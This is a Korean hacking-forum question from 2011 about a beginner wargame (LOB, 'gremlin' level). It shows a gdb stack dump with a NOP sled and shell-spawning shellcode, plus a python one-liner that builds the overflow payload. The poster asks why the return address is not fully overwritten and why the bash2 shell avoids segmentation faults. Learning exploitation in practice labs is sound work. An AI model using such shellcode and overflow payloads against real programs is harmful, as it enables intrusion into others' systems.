|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3211 [복사]
_____[gdb stack]_____________________________________________________________________
....
0xbffffa08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa38: 0x90909090 0x90909090 0xcd58316a 0x89c38980
(gdb)
0xbffffa48: 0x58466ac1 0x685080cd 0x68732f2f 0x69622f68
0xbffffa58: 0x50e3896e 0x99e18953 0x80cd0bb0 0x90909090
0xbffffa68: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa78: 0x90909090 0x4000f9a8 0x00000002 0xbffffac4
...
(gdb) i reg ebp
ebp 0xbffffa78 -1073743240
_______________________________________________________________________________________
질문 1) ./gremlin $(python -c 'print "[NOP]"*200 + "[SCHELLCODE]" + "[NOP]*24 + "[RET]"
와 같이 260 + [RET] 주소로 분명 덮었습니다.
F.T.Z에서 잘 덮혀졌던 RET주소가 왜 LOB에서 0X4000F9A8로 앞비트가 안덮혀 지는지 모르겠네요.
- 글을 찾아보고 "export LANG=C"도 해보았지만 소용이 없습니다.
질문 2) 자꾸 Segmentation fault 가 나길래 찾아보니 "bash2"를 쓰라더군요.
분명 bash2를 쓰면 됩니다. 근데 그 이유에 대하여 모르겠네요
위에서 처럼 똑같이 gdb에서 ret주소가 안덮혀 보이고.... 달라진점을 모르겠는데... F.T.Z에서 bash2를 안써도 잘됬던것이 왜.... "bash2"를 써야 깨지는지 이유를 알고싶습니다.
|
Hit : 4393 Date : 2011/05/23 04:43
|